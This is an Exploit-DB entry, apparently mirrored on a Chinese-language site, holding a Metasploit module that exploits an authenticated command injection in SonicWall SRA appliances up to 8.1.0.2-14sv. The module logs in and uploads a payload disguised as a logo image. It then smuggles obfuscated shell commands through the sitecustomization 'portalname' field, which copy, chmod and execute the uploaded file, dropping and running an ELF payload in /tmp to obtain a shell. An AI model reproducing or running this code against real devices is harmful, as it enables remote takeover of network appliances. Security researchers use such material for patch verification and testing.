Sonicwall < 8.1.0.2-14sv - 'sitecustomization.cgi' Command Injection (Metasploit)

  • 作者: xort
    日期: 2017-07-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42344/
  • # Exploit Title: Sonicwall importlogo/sitecustomization CGI Remote Command Injection Vulnerablity 
    # Date: 12/25/2016
    # Exploit Author: xort @ Critical Start
    # Vendor Homepage: www.sonicwall.com
    # Software Link: sonicwall.com/products/sra-virtual-appliance
    # Version: 8.1.0.2-14sv
    # Tested on: 8.1.0.2-14sv
    # 
    # CVE : (awaiting cve)
    
    # vuln1: importlogo.cgi / logo1 parameter (any contents can be uploaded)
    # vuln2: sitecustomization.cgi / portalname (filename) parameter 
    
    # Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug. 
    #
    # xort @ Critical Start
    
    
    
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    	includeExploit::Remote::Tcp
    include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Sonicwall SRA <= v8.1.0.2-14sv remote exploit',
    					'Description'=> %q{
    					This module exploits a remote command execution vulnerability in
    				the Sonicwall SRA Appliance Version <=v8.1.0.2-14sv. The vulnerability exist in
    				a section of the machine's adminstrative infertface for performing configurations 
    				related to on-connect scripts to be launched for users's connecting.	
    			},
    			'Author' =>
    				[
    					'xort@Critical Start', # vuln + metasploit module
    				],
    			'Version'=> '$Revision: 1 $',
    			'References' =>
    				[
    					[ 'none', 'none'],
    				],
    			'Platform'=> [ 'linux'],
    			'Privileged' => true,
    			 'Arch'=> [ ARCH_X86 ],
    'SessionTypes'=> [ 'shell' ],
    'Privileged' => false,
    
    		'Payload'=>
    { 
    'Compat' =>
    {
    'ConnectionType' => 'find',
    }
    },
    
    			'Targets'=>
    				[
    					['Linux Universal',
    						{
    								'Arch' => ARCH_X86,
    								'Platform' => 'linux'
    						}
    					],
    				],
    			'DefaultTarget' => 0))
    
    			register_options(
    				[
    					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
    			 	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
    					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
    					Opt::RPORT(443),
    				], self.class)
    	end
    
    def do_login(username, password_clear)
    vprint_status( "Logging into machine with credentials...\n" )
    
    # vars
    timeout = 1550;
    
    # send request
    res = send_request_cgi(
    {
    'method'=> 'POST',
    'uri' => "/cgi-bin/userLogin",
    		'headers' => {
    			 'Connection' => 'close',
    			 'Content-Type' => 'application/x-www-form-urlencoded',
    			 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0',
    	},
    'vars_post' => {
    			 'username' => username,
    			 'password' => password_clear,
    			 'domain' => 'LocalDomain',
    			 'loginButton' => 'Login',
    			 'state' => 'login',
    			 'login' => 'true',
    			 'VerifyCert' => '0',
    			 'portalname' => 'VirtualOffice',
    			 'ajax' => 'true'
    		 },
    }, timeout)
    
    		swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0]
    		
    return swap
    end
    
    def upload_payload(swap_cookie, file_data)
    vprint_status( "Upload Payload..." )
    
    # vars
    timeout = 1550;
    
    upload_req = [
    [ "portalName","VirtualOffice" ],
    [ "defaultLogo","0" ],
    [ "uiVersion","2" ],
    [ "bannerBackground", "light" ]
    ]
    
    boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
    post_data = ""
    
    		# assemble upload_req parms
    upload_req.each do |xreq|
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
    post_data << "#{xreq[1]}\r\n"
    end
    
    # add malicious file
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"logo1\"; filename=\"x.jpg\"\r\n"
    		post_data << "Content-Type: image/jpeg\r\n\r\n"
    post_data << "#{file_data}\r\n"
     
    		post_data << "--#{boundary}--\r\n"
    
    res = send_request_cgi({
     'method' => 'POST',
     'uri'=> "/cgi-bin/importlogo?uploadId=1",
     'ctype'=> "multipart/form-data; boundary=#{boundary}",
     'data' => post_data,
     'headers' =>
    {
    'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
    				'Cookie' => 'swap='+swap_cookie+';',
    }
    }, timeout)
    
    
    end
    
    
    	def run_command(swap_cookie, cmd)
    
    		vprint_status( "Running Command...\n" )
    
    # vars
    timeout = 1550;
    
    		vprint_status("creating filename on target: #{cmd}\n")
    
    upload_req = [
    [ "portalname", cmd ],
    [ "portaltitle","Virtual Office" ],
    [ "bannertitle","Virtual Office" ],
    [ "bannermessage","<h1>Dell Sonicwall</h1>" ],
    [ "portalUrl","https://192.168.84.155/portal/xxx" ],
    [ "loginflag","on" ],
    [ "bannerflag","on" ],
    [ "httpOnlyCookieFlag","on" ],
    [ "cachecontrol","on" ],
    [ "uniqueness", "on" ],
    [ "duplicateLoginAction", "1" ],
    [ "livetilesmalllogo", "" ],
    [ "livetilemediumlogo", "" ],
    [ "livetilewidelogo", "" ],
    [ "livetilelargelogo", "" ],
    [ "livetilebackground", "#0085C3" ],
    [ "livetilename", "" ],
    [ "home2page", "on" ],
    [ "allowNetExtender", "on" ],
    [ "virtualpassagepage", "on" ],
    [ "cifsdirectpage", "on" ],
    [ "cifspage", "on" ],
    [ "cifsappletpage", "on" ],
    [ "cifsapplet", "on" ],
    [ "cifsdefaultfilesharepath", "" ],
    [ "home3page", "on" ],
    [ "showAllBookmarksTab", "on" ],
    [ "showDefaultTabs", "on" ],
    [ "showCopyright", "on" ],
    [ "showSidebar", "on" ],
    [ "showUserPortalHelpButton", "on" ],
    [ "userPortalHelpURL", "" ],
    [ "showUserPortalOptionsButton", "on" ],
    [ "homemessage", "<h1>Welcome to the Dell SonicWALL Virtual Office</h1>" ],
    [ "hptabletitle", "Virtual Office Bookmarks" ],
    [ "vhostName", "www.#{Rex::Text.rand_text_hex(32)}.com" ],
    [ "vhostAlias", "" ],
    [ "vhostInterface", "ALL" ],
    [ "vhostEnableKeepAlive", "on" ],
    [ "cdssodn", ".yahoo.com" ],
    [ "enableSSLForwardSecrecy", "0" ],
    [ "enableSSLProxyVerify", "0" ],
    [ "sslProxyProtocol", "0" ],
    [ "loginSchedule", "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" ],
    [ "formsection", "main" ],
    [ "doAdd", "1" ],
    [ "cgiaction", "1" ],
    [ "themename", "stylesonicwall" ],
    [ "onlinehelp", "" ],
    [ "tmp_currentVhostName", "" ],
    [ "tmp_currentVhostAlias", "" ],
    [ "tmp_currentVhostInterface", "ALL" ],
    [ "tmp_currentVhostIp", "" ],
    [ "tmp_currentVhostIPv6", "" ],
    [ "tmp_currentVhostEnableHTTP", "0" ],
    [ "tmp_currentVhostEnableKeepAlive", "1" ],
    [ "tmp_currentVhostCert", "" ],
    [ "tmp_currEnforceSSLProxyProtocol", "0" ],
    [ "tmp_currSSLProxyProtocol", "0" ],
    [ "tmp_currEnableSSLProxyVerify", "0" ],
    [ "tmp_currEnableSSLForwardSecrecy", "0" ],
    [ "tmp_currentVhostOffloadRewrite", "" ],
    [ "restartWS", "1" ],
    [ "reuseFavicon", "" ],
    [ "oldReuseFavicon", "" ],
    ]
    
    boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
    post_data = ""
    
    # assemble upload_req parms
    upload_req.each do |xreq|
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
    post_data << "#{xreq[1]}\r\n"
    end
    
    post_data << "--#{boundary}--\r\n"
    
    res = send_request_cgi({
     'method' => 'POST',
     'uri'=> "/cgi-bin/sitecustomization",
     'ctype'=> "multipart/form-data; boundary=#{boundary}",
     'data' => post_data,
     'headers' =>
    {
    'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
    'Cookie' => 'swap='+swap_cookie+';',
    }
    }, timeout)
    	end
    
    	def run_command_file(swap_cookie)
    
    		# use prefix so exploit can be re-used (unique portalname requirment)
    		prefix = Rex::Text.rand_text_numeric(5)
    
    		run_command(swap_cookie, "#{prefix}$({find,$({perl,-e,'print(chr(0x2f))'}),-name,VirtualOffice.gif,-exec,cp,{},qz,$({perl,-e,'print(chr(0x3b))'})})")
    		run_command(swap_cookie, "#{prefix}$({chmod,777,qz})")
    		run_command(swap_cookie, "#{prefix}$({sh,-c,.$({perl,-e,'print(chr(0x2f))'})qz})")
    
    	end
    
    	def exploit
    		# timeout
    		timeout = 1550;
    
    		# params
    		password_clear = datastore['PASSWORD']
    		user = datastore['USERNAME']
    
    		# do authentication		
    		swap_cookie = do_login(user, password_clear)
    	
    		vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n")
    			
    		# pause to let things run smoothly
    		#sleep(5)
    
    		 #if no 'CMD' string - add code for root shell
    if not datastore['CMD'].nil? and not datastore['CMD'].empty?
    
    cmd = datastore['CMD']
    
    # Encode cmd payload
    encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
    
    # kill stale calls to bdump from previous exploit calls for re-use
    upload_payload(swap_cookie, ("sudo /bin/rm -f /tmp/n; printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n; /tmp/n" ))
    else
    # Encode payload to ELF file for deployment
    elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
    encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
    
    			# upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
    upload_payload(swap_cookie, ("#!/bin/bash\necho -e \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m; /tmp/m"))
    run_command_file(swap_cookie)
    
    			# wait for magic
    handler
    			
    end
    
    
    	end
    end
    
    C